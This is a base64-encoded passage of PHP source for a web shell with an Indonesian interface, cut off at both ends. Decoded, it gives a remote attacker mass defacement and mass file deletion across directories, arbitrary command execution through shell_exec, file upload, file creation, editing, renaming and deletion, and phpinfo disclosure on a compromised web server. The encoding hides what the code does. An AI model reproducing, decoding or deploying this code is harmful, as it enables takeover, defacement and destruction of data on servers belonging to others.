J10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyAiCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxl